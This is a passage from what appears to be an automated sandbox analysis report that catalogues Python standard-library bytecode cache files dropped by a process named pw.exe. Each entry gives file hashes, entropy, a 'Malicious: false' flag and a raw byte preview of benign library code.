random sample. generate random permutation.. distributions on the real line:. ------------------------------. unifor

C:\recover\pw\Lib\pycache\re.cpython-310.pyc.29826608

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	14225
Entropy (8bit):	5.209265598997223
Encrypted:	false
SSDEEP:	384:cuPJsiNrHyo6R2OkRFvMKUryx95qoxSEMbZ:cCJssrSoPfRAry/5qoUEMbZ
MD5:	956563113AF46E2093B27CF94B2727B5
SHA1:	28C3EF71C167CB854D8B6B0E6278AF30570B487C
SHA-256:	E54BE449487203FCDF92A195DF144967EAC18F7E0FBBCED4DDB54E7125F6AC25
SHA-512:	B85C96CAD68C4724399DB19CB5DCB0A5C65767152602F84C0B5B35E48960922C447990B887182AE19F09AF987FB7EFE179486CFD3F9806530858EBB815E3732A
Malicious:	false
Preview:	o.........Sgs?.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y#......d.Z.Y.n.w.g.d...Z.d.Z.G.d.d...d.e.j...Z.e.....e.j.....e.j.Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d1d.d...Z.d1d.d...Z.d1d.d...Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d.d...Z.d0d.d...Z.d.d...d.D...Z.d d!..Z.e.e...d"d.....Z.e.e...d"d.....d"....Z.i.Z.d#Z d$d%..Z!e.."e ..d&d'....Z#d(d)..Z$d*d+..Z%d.d.l&Z&d,d-..Z'e&.(e.e'e!....G.d.d/..d/..Z)d.S.)2a....Support for regular expressions (RE)...This module provides regular expression matching operations similar to.those found in Perl. It supports both 8-bit and Unicode strings; both.the pattern and the strings being processed can contain null bytes and.characters outside the US ASCII range...Regular expressions can contain both special and ordinary characters..Most ordinary characters, like "A", "a", or "0", are the simplest.regular expressions; they simply match themselves. You can.concatenate ordinary characters, so last matches the string 'last'...Th

C:\recover\pw\Lib\pycache\reprlib.cpython-310.pyc.33481056

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5248
Entropy (8bit):	5.023217573527402
Encrypted:	false
SSDEEP:	96:jdnTWdWRlUgN2VsfA2IywpvIyRbepiRtHv+gm0AUY:1fDk52elRKMjmZB
MD5:	57D28D8C9238C62361903BA2EF52A39C
SHA1:	2E2270BFD2F687B7D0377E15D7ED102B6EB5C276
SHA-256:	C2C1A91B76DA7742383C2A0DB841D42943A7B2E67BF829ABD4D6EE26BD94D9F7
SHA-512:	ED6A08606E801C24CA8447CDB317DEDD2BAB4839BF1F84668D12A52B14F45725187C542156AC721F59768DE330E3B11F6538FB986F2D7813B5B4471B3A7C8476
Malicious:	false
Preview:	o.........Sg4........................@...s\...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.d...Z.G.d.d...d...Z.d.d...Z.e...Z.e.j.Z.d.S.).zGRedo the builtin repr() (representation) but with limits on most sizes.)...Repr..repr..recursive_repr.....N)...islice)...get_ident.....c........................s......f.d.d...}.\|.S.).zGDecorator to make a repr function return fillvalue for a recursive callc........................sX...t...........f.d.d...}.t...d...\|._.t...d...\|._.t...d...\|._.t...d...\|._.t...d.i...\|._.\|.S.).Nc........................sJ...t.\|...t...f.}.\|...v.r...S.....\|.....z...\|...}.W.....\|.....\|.S.....\|.....w...N)...idr......add..discard)...self..key..result)...fillvalue..repr_running..user_function....C:\recover\pw\lib\reprlib.py..wrapper....s......................z<recursive_repr.<locals>.decorating_function.<locals>.wrapper..__module__..__doc__..__name__..__qualname__..__annotations__)...set..getattrr....r....r....r....r....).r....r......r....).r....r....r......decorating_func

C:\recover\pw\Lib\pycache\selectors.cpython-310.pyc.38796128

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17103
Entropy (8bit):	5.1777130400467675
Encrypted:	false
SSDEEP:	384:ijD7Dm/9rSzUEok/L1xzQ8DdIE6F+QSUyGJl97uhuieU:ijD7Dm/9rSzzBdInF+QS+l97uhuieU
MD5:	D316A7484271C96B0770C6EAC5683933
SHA1:	769593BDCC7BDAAF2025699C4519DAF5708E52B8
SHA-256:	7A7F96D551144165DCA3A7B945FFD2F56DD2EB96E6AA7E53B7AFEC861E2AED0B
SHA-512:	657E04D21711083165B8F6EC85E041A8FE8D20A145E3063DA3A7D6FC681AB5E77CCDA508D03DF59F3FD5ABE024B897CB47D1A99F4C5F43935553DA9BDF4190F8
Malicious:	false
Preview:	o.........Sg.N.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.d...Z.e.d.g.d.....Z.d.e._.e.j.d.k.rId.e.j._.d.e.j._.d.e.j._.d.e.j._.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...r.G.d.d...d.e...Z.e.e.d ..r.G.d!d"..d"e...Z.e.e.d#..r.G.d$d%..d%e...Z.e.e.d&..r.G.d'd(..d(e...Z.d)d*..Z.e.d&..r.e.Z.d.S.e.d ..r.e.Z.d.S.e.d#..r.e.Z.d.S.e.d...r.e.Z.d.S.e.Z.d.S.)+z\|Selectors module...This module allows high-level and efficient I/O multiplexing, built upon the.`select` module primitives.......)...ABCMeta..abstractmethod)...namedtuple)...MappingN..........c....................C...s`...t.\|.t...r.\|.}.n.z.t.\|.......}.W.n...t.t.t.f.y"......t.d...\|.....d...w.\|.d.k.r.t.d...\|.......\|.S.).z.Return a file descriptor from a file object... Parameters:. fileobj -- file object or file descriptor.. Returns:. corresponding file descriptor.. Raises:. ValueError if the object is invalid. z.I

C:\recover\pw\Lib\pycache\shutil.cpython-310.pyc.33482576

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	38359
Entropy (8bit):	5.5303804737366455
Encrypted:	false
SSDEEP:	768:K6QQE5jxIaF1k77LzVwh0OFhTogcyB4EHcCfhNNHlfmQk5:K6QQEbIeLSOrTogcyB4EHcCfhNbfJk5
MD5:	E71A700D303B3AC766214CA31D36C1A4
SHA1:	E4FA3C75A23E7ED04DE0472CF0BEAEFEDE9AE0D7
SHA-256:	7B5D1E812C4278D7284B3EFDEDB6CA7BA5268D5CFD399EB235EFB449DFEB3B99
SHA-512:	C37F6DAE13ACECC1DDE3F41BBA9113499E1BFA8C8013AC47072AF5A6A9CD201063422296EDB79794FBBEAADEE0C6592CE6569EB3FEF1AFFF1D22578311B4867F
Malicious:	false
Preview:	o.........Sg.........................@...s"...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.[.d.Z.W.n...e.y.......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yC......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yX......d.Z.Y.n.w.e.j.d.k.Z.d...Z.Z.e.j.d.k.rld.d.l.Z.n.e.rrd.d.l.Z.e.rvd.n.d.Z.e.e.d...o.e.j...d...a.e.o.e.e.d...Z.d.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"d.d...Z#d.d...Z$e.f.d d!..Z%d.d"d#..Z&d$d%..Z'd&d'..Z(d(d)..Z)d.d..d+d,..Zd.d..d-d...Z+e.e.d/....r.d.d..d0d1..Z,n.d2d1..Z,d.d..d3d4..Z-d.d..d5d6..Z.d.d*..d7d8..Z/d9d:..Z0..d.d;d<..Z1d.d.e/d.d.f.d=d>..Z2e.e.j3d?....r@d@dA..Z4dBdC..Z5n.dDdA..Z4dEdC..Z5dFdG..Z6dHdI..Z7e.j8e.j.e.j9e.j:h.e.j;k...oje.j<e.j=v...oje.j.e.j>v.Z?d.dJdK..Z@e?e@_AdLdM..ZBe/f.dNdO..ZCdPdQ..ZDdRdS..ZEdTdU..ZFdVdW..ZG....d.dYdZ..ZH....d.d[d\..ZId]eHd^g.d_d.f.i.ZJe...r.eHd`g.dad.f.eJdb<.eIg.dcd.f.eJdd<.e...r.eHdeg.dfd.f.eJdg<.e...r.eHdhg.did.f.eJdj<.dkdl..ZKd.dndo..ZLdpdq..ZM

C:\recover\pw\Lib\pycache\signal.cpython-310.pyc.75529856

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2933
Entropy (8bit):	4.854848065704695
Encrypted:	false
SSDEEP:	48:HynPssxfA01vMnCQQDGnvsSZdCztcKcynJyDywm18XQfkt+A7BN5XjyubuOAh:UUshAkuCrGvsqG6PiJyDywmcQq+A7D5a
MD5:	0DE86A9705B502B1AD92C520D2DD5B60
SHA1:	80A84DB57B1C3A5F0BBC94E4733993AF17E3D0CB
SHA-256:	AE383A80EFF0A151FA6127C69EDA6CB5BE04D169DA82B6D49862C7EBE851DA20
SHA-512:	5164E2E0346D3145206A9E7E85C82A462C36A6CD5048D268159619AC09FF35AC58E43B1BF6C29144545CAE9878D258B6B21FA8D5126EDF219175F4CB1F656B48
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...Z.e...d.e.d.d.......e...d.e.d.d.......d.e.v.r0e...d.e.d.d.......d.d...Z.d.d...Z.d.d...Z.e.e.j...d.d.....Z.e.e.j...d.d.....Z.d.e.v.r[e.e.j...d.d.....Z.d.e.v.rhe.e.j...d.d.....Z.d.e.v.rue.e.j...d.d.....Z.d.e.v.r.e.e.j...d.d.....Z.[.[.d.S.)......N)...*)...IntEnum..Signalsc....................C...s(...\|.....r.\|...d...o.\|...d.....p.\|...d...S.).NZ.SIGZ.SIG_Z.CTRL_)...isupper..startswith....name..r......C:\recover\pw\lib\signal.py..<lambda>....s............r......Handlersc....................C........\|.d.v.S.).N)...SIG_DFL..SIG_IGNr....r....r....r....r....r.................pthread_sigmaskZ.Sigmasksc....................C...r....).N).Z.SIG_BLOCKZ.SIG_UNBLOCKZ.SIG_SETMASKr....r....r....r....r....r........r....c....................C...s"...z.\|.\|...W.S...t.y.......\|...Y.S.w.).zsConvert a numeric value to an IntEnum member.. If it's not a known member, return the numeric value itself.. )...ValueError)...value..enum_

C:\recover\pw\Lib\pycache\site.cpython-310.pyc.23165792

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17378
Entropy (8bit):	5.507799353501945
Encrypted:	false
SSDEEP:	384:dlpZTn42l1YP47TUN1PirJtKA5y15/Jgt1nmKQ1ruVhY2lrD9bIhx/xAUu2n8/X1:fL42l+g7TA1Pi9cA015hgt1nmlUvvlrx
MD5:	6A1DE04F1B69A1B35BEAA342F90F71F2
SHA1:	28B81F422AEB132657E7C2BA64D2B0A6CF64A0C8
SHA-256:	7B4A8B2A2AE34A7DD993D71AA87C87DC23060DB50A4C852565DFC00ED0813422
SHA-512:	B3F212CD6ED78C3CE9CC0B76A301F20E8DE132DD89F8931C36E27193B0D6A0166A564A16F0A6FDDA3F93FA738A2D8FBDD496C5E99DDD685E26D6534A21179EEA
Malicious:	false
Preview:	o.........Sg.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.e.j.g.a.d.a.d.a.d.a.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d4d.d ..Z.d!d"..Z.d#d$..Z.d%d&..Z.d'd(..Z.d)d..Z.d+d,..Z d-d...Z!d/d0..Z"e.j#j$s.e"....d1d2..Z%e&d3k.r.e%....d.S.d.S.)5a....Append module search paths for third-party packages to sys.path...**************************************************************. This module is automatically imported during initialization. .***************************************************************..This will append site-specific paths to the module search path. On.Unix (including Mac OSX), it starts with sys.prefix and.sys.exec_prefix (if different) and appends.lib/python<version>/site-packages..On other platforms (such as Windows), it tries each of the.prefixes directly, as well as with lib/site-packages appended. The.resulting directories, if they exist, are appended to

C:\recover\pw\Lib\pycache\socket.cpython-310.pyc.38795808

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	28961
Entropy (8bit):	5.534997797067652
Encrypted:	false
SSDEEP:	768:ytwx29l/P/XkfPdTtaMTCmWwflMCMGYIeM044ZNOLe3:yOxGpQFFCtmlXYIeM05nOy3
MD5:	B41970D69C9098019955EA43A905562A
SHA1:	1659DDE397B2D5387F859581E60978D76E67A7B1
SHA-256:	44A57EBDCE7D30578534A7FAA6F6A7F68AF5F410C6D037290F319111EBA29327
SHA-512:	724951A887542688AF942DD2A5256C35FC066706ED246752540F346E9749E3BBBED05DB1B7977C1D22C8618545D4743B85015CA21668DC8772DCD0E1E2FA74E9
Malicious:	false
Preview:	o.........Sgq........................@...sT...d.Z.d.d.l.Z.d.d.l.T.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...z.d.d.l.Z.W.n...e.y3......d.Z.Y.n.w.e.e.d.d...Z.e.e.d.d...Z.e.e.d.d...Z.g.d...Z.e...e...e.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......d.Z.d.Z.d.d...Z.e.j.......d.....r.i.Z.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d <.d!e.d"<.d#e.d$<.d%e.d&<.d'e.d(<.d)e.d*<.d+e.d,<.d-e.d.<.d/e.d0<.d1e.d2<.d3e.d4<.d5e.d6<.d7e.d8<.d9e.d:<.d;e.d<<.d=e.d><.d?e.d@<.dAe.dB<.dCe.dD<.dEe.dF<.dGe.dH<.dIe.dJ<.dKe.dL<.dMe.dN<.dOe.dP<.dQe.dR<.dSe.dT<.dUe.dV<.dWe.dX<.dYe.dZ<.d[e.d\<.d]e.d^<.d_e.d`<.dae.db<.dce.dd<.dee.df<.dge.dh<.die.dj<.dke.dl<.dme.dn<.doe.dp<.dqe.dr<.dse.dt<.due.dv<.dwe.dx<.dye.dz<.d{e.d\|<.d}e.d~<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.

C:\recover\pw\Lib\pycache\sre_compile.cpython-310.pyc.23436944

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15192
Entropy (8bit):	5.605658867260921
Encrypted:	false
SSDEEP:	384:T2z34fmVm0PVclj2zdkPUdGHUawOXL1T6MQwo39h5OjuMxK67zG:T2nV8j8KMdv4h6nwoNDO3xK67zG
MD5:	7C1BB71117573AF3327A0CF0F32693B0
SHA1:	749380AA0DC66A904EBEFFB125AF2EDA9C2825E5
SHA-256:	964467635F473ED4EF1D654D80F14FD1178F573CC308B5CF25EE79C10BFEF091
SHA-512:	2A422B3B05DCFBE378631634F7F460D1CF8914A7F514A57E7073EF672B7CB0CB4F8B0C0919AED3BEB4B249861E7E8A8C61FA50BBB8C816D37E24F2D13E5557AE
Malicious:	false
Preview:	o.........Sgmp.......................@...s$...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.e.j.e.k.s.J.d.....e.e.h.Z.e.e.e.h.Z.e.e.h.Z.e.e.h.Z.e.e.e.h.B.Z.d.Z.d.d...e.D...Z.e.j.f.d.d...Z.d.d...Z.d.d...Z.d-d.d...Z.e.j.d...Z.d.e.>.d...Z.d.Z.e.e f.d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%d.d...Z&d.d ..Z'd!d"..Z(d#d$..Z)d%d&..Zd'd(..Z+d)d..Z,d.d+d,..Z-d.S.)/z.Internal support module for sre.....N)...*z.SRE module mismatch).)..i...i1...)..s...i....).....i....).iE...i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i2...i....).i4...i....).i>...i....).iA...i....).iB...i....i....).iJ...i....).ic...i....).i....iK...).ia...i....).i....i....c........................s....i.\|.].}.\|.D.].....t...f.d.d...\|.D.......q.q.S.).c....................3...s......\|.].}...\|.k.r.\|.V...q.d.S...N..)....0..j....ir..... C:\recover\pw\lib\sre_compile.py..<genexpr>N...s........z.<dictcomp>.<genexpr>)...tuple).r......tr....r....r......<dictcomp>N...s....

C:\recover\pw\Lib\pycache\sre_constants.cpython-310.pyc.29681320

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6355
Entropy (8bit):	5.77158068597052
Encrypted:	false
SSDEEP:	192:D7jrG4iQ2AaI2Ym9XqQBI1I1dadE1ff7l17mwvYhaSEZ84C:DM92IdNfT6E8
MD5:	F3578B44295821445F868547EB136C26
SHA1:	88C67DCBC91857A0C24A0F7944489026567C0BE6
SHA-256:	E6FA609B3D9E71018CBD1B1948A78468F7E6F13742ACE80F96E71D852998ED77
SHA-512:	71BB8758D92701480E66CCD2894A1DE8C1DD5BE2278C022908444ED1859B3290B8C6F2D8A1CF54FFE3FF78905B2FBE41F1942DCA628A6B31152834F52A69AEC0
Malicious:	false
Preview:	o.........Sg.........................@...s^...d.Z.d.Z.d.d.l.m.Z.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...Z.d.d...Z.e.d...Z.e.d.d...=.e.d...Z.e.d...Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e i.Z!e.e"e.e#i.Z$e%e%e&e&e'e'e(e(e)ee+e,e-e-e.e.i.Z/e%e0e&e1e'e2e(e3e)e4e+e5e-e6e.e7i.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDeEd.k...r-d.d...ZFeGd.d....zZHeH.Id.....eH.Id.e.......eFeHe.d ....eFeHe.d!....eFeHe.d!....eH.Id"e9......eH.Id#e:......eH.Id$e;......eH.Id%e<......eH.Id&e=......eH.Id'e>......eH.Id(e?......eH.Id)e@......eH.IdeA......eH.Id+eB......eH.Id,eC......eH.Id-eD......W.d.........n.1...s"w.......Y...eJd.....d.S.d.S.)/z.Internal support module for srei..3......)...MAXREPEAT..MAXGROUPSc........................s&...e.Z.d.Z.d.Z.d.Z.d...f.d.d...Z.....Z.S.)...errorai...Exception raised for invalid regular expressions... Attributes:.. msg: The unformatted error message. pattern: The regular expression pattern. pos: The index in the pattern

C:\recover\pw\Lib\pycache\sre_parse.cpython-310.pyc.32044640

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	21753
Entropy (8bit):	5.5934942485201296
Encrypted:	false
SSDEEP:	384:3iY5DWum7nnQBcNr5ZjTL2xsP6HeYHfS/l2b7tAu9o23kZAt2umjtU30TezUpPB9:3ie5K2I6+YKd2b7tX3AAt2usyUx0lI
MD5:	A5E79567D6A585BB7AC1CF9F95BBEA6F
SHA1:	FE6DF4E106994D97084009B22A10ABA98404B5A8
SHA-256:	07EF096349451F2DA1C2BB855A3E83D29FCB38E88444F33A807455D63ABE5382
SHA-512:	6B82EB80877FACC10138857112DE2AD71C5029CD0745594BF31B27E8FEEFC73CF393D36DD8DAA8D83B212482C66B58EAA1EC280AE232B35D26F6A15A63BE0FC8
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.T.d.Z.d.Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.e.e.h...Z.e.e.e.e.e.e.e.h...Z.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.d...Z.e.e.f.e.e.f.e.e.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e f.d...Z!e"e#e$e%e&e'e(e)d...Ze'e#B.e)B.Z+e,e(B.Z-G.d.d...d.e...Z/G.d.d...d...Z0G.d.d...d...Z1G.d.d...d...Z2d.d...Z3d.d ..Z4d!d"..Z5d#d$..Z6d3d&d'..Z7d(d)..Z8dd+..Z9d4d-d...Z:d/d0..Z;d1d2..Z<d,S.)5z.Internal support module for sre.....)...z..\[{()+?^$\|z.*+?{Z.0123456789Z.01234567Z.0123456789abcdefABCDEFZ4abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZz. ............................\).z.\a..\bz.\fz.\nz.\rz.\tz.\vz.\\).z.\Ar....z.\Bz.\dz.\Dz.\sz.\Sz.\wz.\Wz.\Z)...i..L..m..s..x..a..t..uc....................@...s....e.Z.d.Z.d.S.)...VerboseN)...__name__..__module__..__qualname__..r....r......C:\recover\pw\lib\sre_parse.pyr....G...s........r....c....................@...sB

C:\recover\pw\Lib\pycache\ssl.cpython-310.pyc.39527312

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	44818
Entropy (8bit):	5.569168415204495
Encrypted:	false
SSDEEP:	768:v653tgqriJVJd4LRmQPAMN4FM81OVgTkezQn9FB:v63tB2JDy9T9NCU8dEnbB
MD5:	8C33A37D34DCBA5285ED6540CC60748A
SHA1:	0A820FD40D8F74438794653AD4D886D9076A1977
SHA-256:	A56863BFEF019364C7EBE16D0A8571ADAF9FB3F41AE3B70958099DE4A7A6B474
SHA-512:	897C7BA5BC22F75B1728F3785088DC0F719AF28BB200A7D3CBB538B65A9F050015D2A280B76173E144B9318ECB467D175A58FB5DD5B487F88D55E29D3C69D233
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m Z m!Z!..z.d.d.l.m"Z"..W.n...e#yi......Y.n.w.d.d.l.m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)mZm+Z+m,Z,m-Z-..d.d.l.m.Z.m/Z/..e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e2j3..Z4e2_4d.d...e2j5.6..D...Z7e8e2d.d...Z9G.d.d...d.e...Z:G.d d!..d!e...Z;G.d"d#..d#e...Z<G.d$d%..d%e...Z=e.j>d&k...r.d.d'l.m?Z?m@Z@..d.d(lAmAZAmBZBmCZC..d.d)lAmDZDmEZEmFZF..d.d.lAZGd.d.lHZHd.d.lIZId.d.lJZJeKZLd*g.ZMeNe.d+..ZOe.ZPe.ZQd,d-..ZRd.d/..ZSd0d1..ZTd2d3..ZUe.d4d5..ZVd6d7..ZWG.d8d9..d9e.d9d:....ZXG.d;d<..d<eXe...ZYG.d=d>..d>e...ZZeYj[f.d.d.d.d?..d@dA..Z\d[e]dBeYj[d.d.d.d.d.dC..dDdE..Z^e\Z_e^Z`G.dFdG..dG..ZadHdI..ZbG.dJdK..dKeA..ZceceZ_deaeZ_ed.d.dBe]e3d.dLdLd.f.dMdN..ZfdOdP..ZgdQZhdRZidSdT..ZjdUdV..Zkeld.eFf.dWdX..ZmdYdZ..Znd.S.)\

C:\recover\pw\Lib\pycache\stat.cpython-310.pyc.29823088

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4271
Entropy (8bit):	5.533861742557895
Encrypted:	false
SSDEEP:	96:4n/f+60wN3EXHHp/aowjk0wBoCAEFXOrW6QBeABPl:4eRy3EXRBwjk0w+CFXefQBT
MD5:	C2AC2E73EB766208EE185120276B4E88
SHA1:	B3ED03C18D54C04C90688135A1F59BDBE21E842A
SHA-256:	A5650C687A8BF5EC2A91A51B7238DF6472481F2F6618115D39D353CF4D0E4F87
SHA-512:	97EE98411A70B0ADBA39897FB4C11AC810230B440CF137C86B6BBFDFC65832E8706B7825845E33A9A722AD157D61963F60F6BD9C1CF2C895CBEF4AE83E20455E
Malicious:	false
Preview:	o.........Sg0........................@...sJ...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z dZ!d+Z"e"Z#d,Z$d-Z%d.Z&d/Z'd0Z(d-Z)d.Zd/Z+d1Z,d2Z-d3Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6d.Z7d3Z8d2Z9d.Z:d4Z;d5Z<d6Z=d7Z>d8Z?e.d9f.e.d:f.e.d;f.e.d<f.e.d=f.e.d>f.e.d?f.f.e)d@f.f.edAf.f.e+e!B.d:f.e!dBf.e+dCf.f.e-d@f.f.e.dAf.f.e/e"B.d:f.e"dBf.e/dCf.f.e1d@f.f.e2dAf.f.e3e$B.dDf.e$dEf.e3dCf.f.f.Z@dFdG..ZAd2ZBdZCd/ZDd3ZEd.ZFd.ZGd.ZHd.ZId.ZJd5ZKd.ZLd.ZMd+ZNd,ZOd.ZPd-ZQd4ZRz.d.dHlST.W.dIS...eT..y$......Y.dIS.w.)JzoConstants/functions for interpreting results of os.stat() and os.lstat()...Suggested usage: from stat import *...................................................c....................C........\|.d.@.S.).zMReturn the portion of the file's mode that can be set by. os.chmod().. i..........moder....r......C:\recover\pw\lib\stat.py..S_IMODE...........r....c......

C:\recover\pw\Lib\pycache\string.cpython-310.pyc.38282048

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7100
Entropy (8bit):	5.384618191051775
Encrypted:	false
SSDEEP:	192:CLetNTT8n3lJcsGpTeWD3EDNmO2vja68/2s4li6lu:pbTT8n1vGpT/O2vja68/x4limu
MD5:	E431529905B6813B798B863A1829945E
SHA1:	A43DE05960B826CBFD6372CBED47C1F394DE39B3
SHA-256:	0FC8DA1BAD727E79C164DC79CE4A8C4466D1BD2B4C0147C06993A54FEC7EE5D5
SHA-512:	2B29DD199BAD342AAC5279AA21A95CE5115BE68648F30D43F8C09EC2C8BD1FB254ED82459DC202C520A2EF67AF78335A3DAAD345273E643DE3C798385A1BD5B4
Malicious:	false
Preview:	o.........Sg^*.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.e.e...Z.d.Z.e.d...d...Z.d.Z.d.Z.e.e...e...e...Z.d.d.d...Z.d.d.l.Z.d.d.l.m.Z...i.Z.G.d.d...d...Z.e.......G.d.d...d...Z.d.S.).an...A collection of string constants...Public module variables:..whitespace -- a string containing all ASCII whitespace.ascii_lowercase -- a string containing all ASCII lowercase letters.ascii_uppercase -- a string containing all ASCII uppercase letters.ascii_letters -- a string containing all ASCII letters.digits -- a string containing all ASCII decimal digits.hexdigits -- a string containing all ASCII hexadecimal digits.octdigits -- a string containing all ASCII octal digits.punctuation -- a string containing all ASCII punctuation characters.printable -- a string containing all ASCII characters considered printable..)...ascii_letters..ascii_lowercase..ascii_uppercase..capwords..digits..hexdigits..octdigits..printable..punctuation..whitespace..Formatter..Template.....Nz. .....Z.abcdefg

C:\recover\pw\Lib\pycache\stringprep.cpython-310.pyc.75515120

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17073
Entropy (8bit):	5.6903504184239
Encrypted:	false
SSDEEP:	384:aORubSi/2orlL7qOf9dzA3gfqtv+ScNDMepN9WDnuxb3rOyb5:aOkbSi+ork29JlqtvtcNoepN9Wzra
MD5:	6B89074312016CB0738038FD28610F54
SHA1:	2A332101BFB80D33BCE568BC02ECABB4C6A60CDC
SHA-256:	89DD8901900EFB8BDE058065292E6162FFE6C0B6A8497A83F81BC2B19D207F7E
SHA-512:	88683263A738D532CCAAD172CEAEB19F516D3CB20F11623B4DE429DDE045ABAB594E2038B37A31F5F6C3CA44F318ACA4A57659FB92A183951A83ADA6BD90E2CA
Malicious:	false
Preview:	o.........Sg.3.......................@...s....d.Z.d.d.l.m.Z...e.j.d.k.s.J...d.d...Z.e.g.d...e.e.d.d.........Z.d.d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d ..d!d"..d#d$..d%d&..d'd(..d)d*..d+d,..i.d-d...d/d0..d1d2..d3d 